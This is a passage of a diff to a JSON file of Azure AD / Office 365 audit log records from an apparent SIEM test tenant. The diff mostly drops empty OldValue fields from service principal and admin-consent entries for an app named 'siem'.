"OldValue": "[\r\n {\r\n \"DeviceName\": \"NO_DEVICE\",\r\n \"DeviceToken\": \"NO_DEVICE_TOKEN\",\r\n \"DeviceTag\": \"SoftwareTokenActivated\",\r\n \"PhoneAppVersion\": \"NO_PHONE_APP_VERSION\",\r\n \"OathTokenTimeDrift\": 0,\r\n \"DeviceId\": null,\r\n \"Id\": \"3b539b10-3846-4f9b-877d-55b0b8e76147\",\r\n \"TimeInterval\": null,\r\n \"AuthenticationType\": 2,\r\n \"NotificationType\": 1,\r\n \"SecuredPartitionId\": 0,\r\n \"SecuredKeyId\": 0\r\n }\r\n]"
},
"TargetId_UserType": {
- "NewValue": "Member",
- "OldValue": ""
+ "NewValue": "Member"
}
},
"ObjectId": "asr@testsiem.onmicrosoft.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "User_755e500a-6c03-46b0-b53b-282f23374e3b",
@@ -7193,31 +7002,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -7397,31 +7191,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -7601,31 +7380,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -7806,30 +7570,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -8010,30 +7768,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -8214,30 +7966,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -8418,30 +8164,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -8622,30 +8362,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -8826,30 +8560,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -9030,30 +8758,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -9234,30 +8956,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -9438,30 +9154,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -9642,30 +9352,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -9846,30 +9550,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -10050,30 +9748,24 @@
},
"ModifiedProperties": {
"ServicePrincipal_AppId": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_DisplayName": {
- "NewValue": "siem",
- "OldValue": ""
+ "NewValue": "siem"
},
"ServicePrincipal_Name": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
},
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
- "OldValue": ""
+ "NewValue": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com"
}
},
"ObjectId": "c5393580-f805-4401-95e8-94b7a6ef2fc2;https://manage.office.com;https://manage.office365.us;https://manage.protection.apps.mil;https://manage-gcc.office.com",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_efe101d0-818a-4f19-b2f8-53186f8218ad",
@@ -10253,34 +9945,24 @@
},
"ModifiedProperties": {
"ConsentAction_Permissions": {
- "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ",
- "OldValue": ""
+ "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; "
},
"ConsentContext_IsAdminConsent": {
- "NewValue": "True",
- "OldValue": ""
+ "NewValue": "True"
},
"ConsentContext_IsAppOnly": {
- "NewValue": "False",
- "OldValue": ""
+ "NewValue": "False"
},
"ConsentContext_OnBehalfOfAll": {
- "NewValue": "True",
- "OldValue": ""
- },
- "ConsentContext_Tags": {
- "NewValue": "",
- "OldValue": ""
+ "NewValue": "True"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -10460,34 +10142,24 @@
},
"ModifiedProperties": {
"ConsentAction_Permissions": {
- "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; ",
- "OldValue": ""
+ "NewValue": "[] => [[Id: MygkXJyQa0y8o1D-qqmNI_mOUpib6JpGsZv6jnKgD6Y, ClientId: 5c242833-909c-4c6b-bca3-50feaaa98d23, PrincipalId: , ResourceId: 98528ef9-e89b-469a-b19b-fa8e72a00fa6, ConsentType: AllPrincipals, Scope: User.Read]]; "
},
"ConsentContext_IsAdminConsent": {
- "NewValue": "True",
- "OldValue": ""
+ "NewValue": "True"
},
"ConsentContext_IsAppOnly": {
- "NewValue": "False",
- "OldValue": ""
+ "NewValue": "False"
},
"ConsentContext_OnBehalfOfAll": {
- "NewValue": "True",
- "OldValue": ""
- },
- "ConsentContext_Tags": {
- "NewValue": "",
- "OldValue": ""
+ "NewValue": "True"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585",
- "OldValue": ""
+ "NewValue": "71a0194b-b70c-44a6-82f2-d4670aee4585"
}
},
"ObjectId": "71a0194b-b70c-44a6-82f2-d4670aee4585",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_5c242833-909c-4c6b-bca3-50feaaa98d23",
@@ -10667,31 +10339,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -10871,31 +10528,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_DisplayName": {
- "NewValue": "",
- "OldValue": ""
- },
- "ServicePrincipal_Name": {
- "NewValue": "",
- "OldValue": ""
- },
"ServicePrincipal_ObjectID": {
- "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23",
- "OldValue": ""
+ "NewValue": "5c242833-909c-4c6b-bca3-50feaaa98d23"
},
"TargetId_ServicePrincipalNames": {
- "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
- "OldValue": ""
+ "NewValue": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us"
}
},
"ObjectId": "00000003-0000-0000-c000-000000000000/ags.windows.net;00000003-0000-0000-c000-000000000000;https://canary.graph.microsoft.com;https://graph.microsoft.com;https://ags.windows.net;https://graph.microsoft.us;https://graph.microsoft.com/;https://dod-graph.microsoft.us",
"RecordType": "8",
"ResultStatus": "Success",
- "SupportTicketId": "",
"Target": [
{
"ID": "ServicePrincipal_98528ef9-e89b-469a-b19b-fa8e72a00fa6",
@@ -11075,31 +10717,16 @@
"version": "2"
},
"ModifiedProperties": {
- "ServicePrincipal_AppId": {
